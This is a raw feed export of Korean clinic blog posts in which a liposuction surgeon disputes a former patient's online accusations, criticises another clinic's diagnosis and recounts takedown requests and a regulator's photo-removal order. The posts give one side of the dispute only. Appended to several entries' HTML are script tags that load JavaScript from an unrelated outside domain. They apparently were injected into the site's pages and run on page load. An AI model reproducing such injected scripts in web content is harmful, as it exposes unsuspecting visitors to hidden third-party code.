다릅니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저는 &amp;#39;옆구리&amp;#39;부위를 분명히 수술을 하였음에도 debakbuja님은 현재 강남T의원 C원장이 발급해준 &amp;#39;러브핸들&amp;#39; 진단서을 이용하여 &amp;#39;옆구리 = 러브핸들&amp;#39; 로 이해하는 일반인을 대상으로 강남T의원에서 옆구리에만 재수술을 받았으며, 비너스의원은 돈만받고 옆구리(러브핸들)에 수술을 하지 않았다며 저희 비너스의원을 비방하였습니다. 따라서 이 사실 자체로 진단서 오류이며, C원장은 &amp;#39;러브핸들 부위의 지방흡입 상태&amp;#39; 라는 부절적한 진단명으로&amp;nbsp;진단서를 발급하였다 할 것입니다. 강남T의원 C원장이 고의가 없었다면&amp;nbsp;최소한 재판에 참고인으로&amp;nbsp;참석하여 &amp;#39;러브핸들&amp;#39;의 부위에 대해 설명을 했었거나 또는 법원의 질의에 대해 서면으로라도 자신이 인식하고 있는 러브핸들의 부위에&amp;nbsp;대해 해명을&amp;nbsp;했었어야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;다섯번째&lt;/strong&gt;, 진단서는 의료법 제17조에 의해 환자를 진찰한 의사가 작성해야 합니다.&amp;nbsp; debakbuja님을 수술하고 외래 진료를 한 의사가 아닌 강남T의원 C원장은 debakbuja를 진찰하지 않고&amp;nbsp;진단서를 발급하였습니다. 강남T의원에서&amp;nbsp;환자를 직접 진찰하고 수술하지 않은 의사가 대신 진단서를 써술 이유는&amp;nbsp;없을 것입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;결론적으로 debakbuja님은 저희 비너스의원에서 2017년 1월 5일 뒷구리와 등의 수술을 상담하였는데 비너스의원의 경우 휴원 상태라 강남T의원에서 엎드린 자세로 뒷구리를 수술 받았으면서, 옆구리(러브핸들)에 재수술을 받았다고 주장하는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저 나름대로 수술에 최선을 다했지만, 강남T의원의 C원장은 초음파를 이용하여 debakbuja님의 피하지방층을 측정하였고(인정하기 어려운 수치임), 이어 실제로는 요추주위등(Paralumbar area) 부위를 수술하고는 러브핸들에 대한 진단서를 발급하였으며, debakbuja님은 C원장이 측정한 초음파 지방층 두께와 진단서를 이용하여 다른 사람들에게 저희 비너스의원이 돈을 받고 옆구리(러브핸들)의 수술을 하지 않았다는 허위사실을 공표하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;감사합니다. 비너스의원 원장 정원호&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 참고하세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489646&quot; type=&quot;button&quot;&gt;1. 러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489652&quot; type=&quot;button&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489664&quot; type=&quot;button&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489679&quot; type=&quot;button&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489684&quot; type=&quot;button&quot;&gt;5. 2014년 지방흡입 수술을 받은 N님에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489700&quot; type=&quot;button&quot;&gt;6. debakbuja님의 사건 경위서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489701&quot; type=&quot;button&quot;&gt;7. debakbuja님의 옆구리(러브핸들)에 수술이 되지 않았다는 주장에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489712&quot; type=&quot;button&quot;&gt;8. debakbuja님이 인터넷에 공표하고 있는 주장들&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489746&quot; type=&quot;button&quot;&gt;9. 강남K의원 C원장의 생각하는 &amp;lsquo;러브핸들&amp;rsquo; 부위와 진단서에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;</content>			</entry><entry>
		<title>8. debakbuja님이 인터넷에 공표하고 있는 주장들</title>
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		<published>2017-05-15T11:51:17+09:00</published>
		<updated>2018-11-02T04:18:52+09:00</updated>
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			<name>drpiggy</name>
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		<summary type="text">8. debakbuja님이 인터넷에 공표하고 있는 주장들 현재 debakbuja님은 네이버 블로그와 카페, 지식인, 그리고 네이트에 아래와 같이 공표하여 주장하면서 저희 비너스의원을 비방하고 있습니다. 아래 사진은 저희 병원에서 수술받은 분이 쪽지로 받았다는 사진이며, 인터넷 사이트에 올려져 있기도 한 사진입니다. 왼쪽손으로 잡은 것은 지방층이고, 오른쪽 손으로 잡은 것은 근육과 지방층을 같이 잡은 것임에도 debakbuja님은 아...</summary>
	<content type="html">&lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;8. debakbuja님이 인터넷에 공표하고 있는 주장들&lt;/span&gt;&lt;/h3&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;현재 debakbuja님은 네이버 블로그와 카페, 지식인, 그리고 네이트에 아래와 같이 공표하여 주장하면서 저희 비너스의원을 비방하고 있습니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;아래 사진은 저희 병원에서 수술받은 분이 쪽지로 받았다는 사진이며, 인터넷 사이트에 올려져 있기도 한 사진입니다. 왼쪽손으로 잡은 것은 지방층이고, &lt;strong&gt;오른쪽 손으로 잡은 것은 근육과 지방층을 같이 잡은 것&lt;/strong&gt;임에도 debakbuja님은 아래 사진을 근거로 제시하면서 저희 비너스의원에서 러브핸들에 수술이 되지 않았다고 주장하고 있습니다. 강남T의원에서 옆구리에 지방층이 초음파로 22-26 mm 남았다고 하니 집게 손가락으로 지방층을 잡아보면 이렇게 5-6 cm가 된다고 합니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;참고로 강남T의원 C원장은 전화통화에서 옆구리는 지방층이 12-14 mm, 러브핸들은 28 mm 남아 있다고 하였습니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;지방조직과 근육을 확인 하는 방법은 옆구리 운동할 때처럼 반대방향으로 몸을 기울려 잡을 쪽의 근육을 스트레칭 시킨 상태에서 지방층만 잡아 보는 것입니다. 또한 초음파나 MRI를 촬영하여 지방층의 두께를 확인해 볼 수 있을 것 입니다. &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/712/489/./files/attach/images/251145/712/489/eae071e9dd81382f50f3090a316fcb11.png&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;75%&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/712/489/963fd8bcc630d05d3bb4092db0b339ff.JPG&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;저희 병원에서 수술을 예정하고 예약금을 걸었던 L님이 수술을 취소하려 하였고, 저에게 메일을 보내주었는데, 내용의 핵심은 아래 내용과 같습니다. 현재 debakbuja님은 저희 병원의 영업을 방해하고 있는 것입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt;‘옆구리 수술을 하였는데 전혀 수술이 되어있지 않은 상태로 돈을 받으셨다고.. 타병원에서 결국 재수술하셨고 비너스의원에 항의 했더니 명예훼손으로 고소한다고 수술을 방해하셨다고 ...수술을 하지않고 돈만 받은 것 같다고 하시더라구요 여기정말 악질이라고 하셨어요.... 그때부터 정말 정신이 아득해지면서 이글을 본게 다행이라고 느껴졌습니다.’&lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; 아래는 네이버 지식인에 게시되어 있는 debakbuja님의 글을 저는 명예훼손으로 네이버측에 게제중지 요청을 하였고, 게제 중지가 되었습니다. 그러나 debakbuja님이 네이버측에 다시 재게시 요청을 한 상태로 6월 1일 다시 재게시 된다고 합니다. debakbuja님과 zzz661님은 동일인물로 생각되며, 글을 캡쳐하여 게제합니다. 아래의 글들은 제가 지난 5월 3일 네이버측에 게시중지 요청을 하여 현재 게제중지된 상태이나 debakbuja님이 다시 재게시 요청을 한 상태로 6월 1일 다시 재게시 된다고 합니다.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;그렇다고 저는 debakbuja님께 수술비를 환불 해 드리고 싶지 않습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;mBottom60&quot;&gt;&lt;img width=&quot;50%&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/712/489/./files/attach/images/251145/712/489/f44933e8ef6cd2065cdd7b8559a88882.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p class=&quot;mBottom60&quot;&gt;&lt;img width=&quot;100%&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/712/489/ef4c1869c053974b9f0b39571d64b38b.jpg&quot; alt=&quot;네이버지식인 게시글&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h4 class=&quot;page-header mBottom60&quot;&gt;debakbuja님에게 &#039;표현의 자유&#039;가 있다면 저에게는 &#039;인격을 존중받을 권리&#039;가 있습니다.&lt;/h4&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이렇게 debakbuja님은 인터넷을 통하여 저희 비너스의원을 비방하며, 다른 병원에서 수술 받을 것을 권유하고 있습니다. 더욱이 debakbuja님은 제가 네이버측에 debakbuja님이 쓴 글이 명예훼손 게시물이라며 신고하여 게제중지를 시켰음에도 다시 네이버에 재게제요청을 하였고, 현재 이러한 글들은 인터넷에 게제 되어 있습니다. 즉, debakbuja님은 자신의 행동이 다른 사람의 명예를 훼손하고 있는 것이며, 불법적인 행동이라는 것을 알면서도 게제를 지속하고 있는 것입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;지방흡입 수술중 가장 많은 합병증은 균일한 지방제거가 되지 않아 울퉁불퉁한 표면이 되는 것이며, 가장 많고 치명적인 것은 너무 많은 지방층을 제거하여 피부와 근막사이의 유착으로 인해 함몰과 돌출이 반복되고 주름이 생겨 고착되는 것입니다. 또한 과도한 지방흡입은 피부로 가는 혈류를 저해하여 피부괴사에 빠질 수도 있으며, 피부색이 검은색으로 탈색되고, 피부 표면에 울긋불긋한 혈관모양이 생길 수도 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;따라서 &lt;strong&gt;합병증이 발생할 정도의 과도한 지방흡입은 절대 피해야 하며, 지방흡입을 하는 의사는 차라리 적게 흡입하여 나중에 추가적으로 한번 더 수술하는 편이 더 낫다고 생각합니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/251242&quot;&gt;지방흡입의 안전성과 합병증에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/44211&quot;&gt;지방흡입후 사이즈 감소는 얼마나 되나요?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 debakbuja님은 저희 비너스의원에서 전측복부와 옆구리의 지방흡입 수술후 10개월이 지난 2017년 1월 초에 강남의 T의원에서 진찰 후 갑자기 옆구리에 수술이 되지 않았다면서 저에게 수술비용 환불을 요구하였고, 제가 일단 사실여부를 확인해 보자며 강남T의원에서 수술 받기 전에 저희 비너스의원에 내원하여 진찰을 받으시고, 강남T의원의 결과대로 옆구리(러브핸들)에 22-28 mm 남은 것이 사실이면 환불해 드리겠다고 하였음에도, debakbuja님은 바쁘다며 이에 응하지 않은 채, 아무런 경고도 없이 인터넷을 통해 돈만 받고 수술을 하지 않았다는 내용의 게시글을 작성하여 저의 명예를 손상시켰습니다 (그 당시 저는 갑작스러운 사고로 목디스크 파열이 와서 지방흡입 수술을 할 수 없는 상황으로 휴원상태였습니다). &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한 저희 비너스의원에서 수술을 계획한 L님에게 연락하면서, 복근과 지방층을 함께 잡은 자신의 사진과 강남T의원에서 발급받은 진단서를 보여주며, 돈만 받고 수술을 하지 않는 병원이라며 수술을 막았던 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; 만일 제가 그 당시에 저희 비너스의원에서 지방흡입 수술을 할수 있는 몸상태였더라면, 저는 debakbuja님께 지난번에 포함하지 않았던 요추주위등와 엉덩이 부위의 수술을 권유 하였을 것이며, 요추주위등 수술은 옆구리(러브핸들)부위의 수술과 경계부분에서 일정부분 중복 되므로 불만족 했던 옆구리의 돌출이 어느정도는 좋아졌을 것으로 생각합니다. &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/490385&quot;&gt;재수술 사진인지 추가수술 사진인지 밝혀야 합니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/counseling&quot;&gt;상담의 중요성에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;세상에 완벽한 사람은 없듯이 저는 완벽한 성형수술결과는 없다고 생각합니다. 성형수술은 현재의 상태에서 개선을 위해 선택하는 것이며, 수술로 인해 얻는 것도 있을 것이며 잃는 것도 있다는 것을 이해해야 합니다 (의학논문에서 대부분 75%이상 만족하면 매우 만족으로 판정합니다). 그러나 거의 모든 사람들은 자신의 수술이 100% 완벽하기를 바라며, 때로는 그런 결과물이 의학적으로 불가능한 것임에도 의사에게 그 수술을 요구하기도 하며, 수술후에 결과에 만족하지 못하여 자신이 받은 성형수술 결과에 실망하고는 수술한 의사를 원망하며 재수술이나 환불을 요구하기도 합니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저는 수술결과에 대해 환자분과 이야기 하면서 때론 억울하기도, 야속하기도, 화가 나기도, 미안하기도 하는 복잡한 감정에 어찌해야 할지 당황스러울 때가 있습니다. 그러나 잠시 이러한 환자의 입장을 생각하면 미용적인 측면에서 실망하고, 원망하고, 재수술을 요구하는 마음을 이해 할 수 있습니다. 그러나 debakbuja님은 수술후 결과에 만족하지 못한 것을 떠나서, ‘돈만 받고 수술을 이행하지 않는 도덕적으로 용납하기 어려운 의사’로 낙인을 찍어, 인터넷을 통해 불특정 다수에게 알리는 방법으로 의사로서의 명예를 훼손하면서 저희 비너스의원의 영업을 방해하고 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;성형수술후에는 미용학적인 문제로 인해 의사와 환자간의 마찰이 발생하기도 하는데, 의사의 고의적인 실수가 아니라면 서로간에 &#039;그럴수도 있겠다&#039; 라며 상호 신뢰를 바탕으로 배려하면서, 의학적으로 판단하여 수술결과에 대해 인정하고, 약간씩 양보하면 대부분 타협이 되는 것 같습니다. 저는 debakbuja님의 경우도 수술에 문제가 있다면, 일단 진찰 후에 저와 해결책을 찾아보고, 그래도 안된다면 법적인 테두리안에서 해결책을 찾아야 한다고 생각합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;인간의 생명과 인격은 돈으로 계산할 수가 없습니다. 환자나 수술결과가 잘못되면 의사는 수술비의 수십배를 배상해야 할 때도 있습니다. 그래서 의사의 마음도 역시 환자의 수술비용으로 계산해서는 안된다고 생각합니다. 저는 지금까지 지방흡입 수술을 해오면서 환자만 보고 수술을 했지 결코 수술비의 양을 보고 수술을 한 적이 없었습니다. 수술비에 상관없이 최고의 결과를 위해 최선을 다했으며, 수술비가 부족한 경우에는 알게 모르게 수술범위나 추가수술을 부가하여 수술하기도 하였습니다. 저의 실력이 부족하여 &#039;돌팔이&#039;라고 부른다면 이해할 수도 있습니다. 그러나 &#039;양아치&#039; 라는 표현은 이해하기 힘듭니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;비너스의원 원장 정원호&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 참고하세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489646&quot;&gt;1. 러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489652&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489664&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489679&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489684&quot;&gt;5. 2014년 지방흡입 수술을 받은 N님에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489700&quot;&gt;6. debakbuja님의 사건 경위서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489701&quot;&gt;7. debakbuja님의 옆구리(러브핸들)에 수술이 되지 않았다는 주장에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489712&quot;&gt;8. debakbuja님이 인터넷에 공표하고 있는 주장들&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489746&quot;&gt;9. 강남K의원 C원장의 생각하는 ‘러브핸들’ 부위와 진단서에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lat?jsonp=__twb_cb_272604959&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=1541132204&amp;amp;t=1541132203991&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lt?jsonp=__twb_cb_694057313&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=28006&amp;amp;t=1541132203991&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lat?jsonp=__twb_cb_72413687&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=1541132306&amp;amp;t=1541132305906&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lt?jsonp=__twb_cb_242404149&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=28108&amp;amp;t=1541132305906&quot;&gt;&lt;/script&gt;</content>			</entry><entry>
		<title>7. debakbuja님의 옆구리(러브핸들)에 수술이 되지 않았다는 주장에 대하여</title>
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		<published>2017-05-15T11:50:14+09:00</published>
		<updated>2019-11-09T15:26:37+09:00</updated>
		<author>
			<name>drpiggy</name>
		</author>
		<summary type="text">7. debakbuja님의 옆구리(러브핸들)에 수술이 되지 않았다는 주장에 대하여 *2019년 3월 8일 방송통신위원회로부터 타인의 사진을 무단으로 게제하는 것은 명예훼손에 해당되므로 사진을 삭제하라는 행정명령을 받아 debakbuja님의 수술전후사진을 삭제합니다 병원에서 촬영한 수술전후사진은 병원의 소유이며, 비너스의원 홈페이지에 올린 수술전후사진은 사용에 대해 모두 환자분의 동의를 얻은 사진들입니다. 비너스의원은 DEBAK...</summary>
	<content type="html">&lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;7. debakbuja님의 옆구리(러브핸들)에 수술이 되지 않았다는 주장에 대하여&lt;/span&gt;&lt;/h3&gt; &lt;p style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;*2019년 3월 8일&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;방송통신위원회로부터 타인의 사진을 무단으로 게제하는 것은 명예훼손에 해당되므로 사진을 삭제하라는 행정명령을 받아 debakbuja님의 수술전후사진을 삭제합니다&lt;/span&gt;&lt;/p&gt; &lt;p style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;병원에서 촬영한 수술전후사진은 병원의 소유이며, 비너스의원 홈페이지에 올린 수술전후사진은 사용에 대해 모두 환자분의 동의를 얻은 사진들입니다. 비너스의원은&amp;nbsp; DEBAKBUJA님의 전후사진의 경우에도 사진사용에 대한 동의를 받았으며,&amp;nbsp; 더욱이 비너스의원에서 게시한 DEBAKBUJA님의 수술사진은 DEBAKBUJA님의 이름과 얼굴이 노출되지도 않았습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;DEBAKBUJA님은 비너스의원에게 전달 받은 수술전후사진에서 수술후사진만을 더 크게 편집하여 수술전후 사이즈감소가 들어나지 않도록 한 다음에 비너스의원의 허락도 없이 네이버 블로그와 카페등에 게제하였으며, 옆구리(러브핸들)에 돈만 받고 수술을 하지 않았다는 등등 많은 허위사실들을 유포 하였습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;DEBAKBUJA님에게는 자신을 촬영한 사진이라는 이유만으로 비너스의원으로 부터 전달받은 수술전후사진을 &amp;quot;비너스의원&amp;quot;이라는 실명을 밝히며 네이버 등에 무단 게제하는 것은 정당한 것이고, 비너스의원이 비너스의원의 홈페이지에&amp;nbsp;&lt;/span&gt;DEBAKBUJA님의 실명을 밝히지 않은채로 정확한 크기의 수술전후사진으로 편집하여 사이즈 감소가 되어있는 모습을 게제하는 것은 불법인가 봅니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;수사기관에서는 수술의 가시적인 효과 여부에 대해 일반인의&amp;nbsp; 시각에서 게시하였기에 일반인의 시각에서는 수술전후에 확연히 드러나는 차이가 있다고 단정할수 없어서&amp;nbsp;&lt;/span&gt;DEBAKBUJA님의 경우 명예훼손이 성립되지 않는다고 하였습니다.&amp;nbsp; &amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;만일 DEBAKBUJA님이 네이버블로그와 카페에 수술후사진을 수술전사진보다 더 크게 편집하여 &amp;quot;비너스의원이 옆구리를 수술하지 않았다&amp;quot;라는 글을 게제하지 않았더라면 비너스의원도 여기에 DEBAKBUJA님의 수술전후 사진을 게제하지 않았을 것입니다. 의학적인 정보가 부족한 일반인들의 시각에서는 &amp;quot;수술전후 사진에서 옆구리가 1mm도 줄지 않았다&amp;quot;라는 DEBAKBUJA님의 게시글을 믿을 수가 있으므로, 결국 비너스의원의 억울한 피해는 더욱 커졌을 것입니다.&lt;/p&gt; &lt;p style=&quot;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;&quot;&gt;DEBAKBUJA님과 비너스의원은 똑같은 수술전후사진을 인터넷에 게제하였지만, 그 내용과 편집에는 차이가 있었었습니다.&amp;nbsp; 그러나 방송통신위원회의 &amp;#39;명예훼손&amp;#39; 판단의 근거는 &amp;quot;정확한 편집이 어떤 것이고 즉, 사실이 어떻고, 그 게시물로 인하여 결국 누가 피해를 받았는가&amp;quot;의 여부가 아니라 &amp;quot;누구를 촬영한 사진인가&amp;quot;에만 촛점이 있기에 합리적인 &amp;quot;명예훼손&amp;quot;의 판단이라고 생각하지 않습니다(누가 수술을 했는지는 공연히 밝혀진 반면에 누구를 촬영한 사진인가는 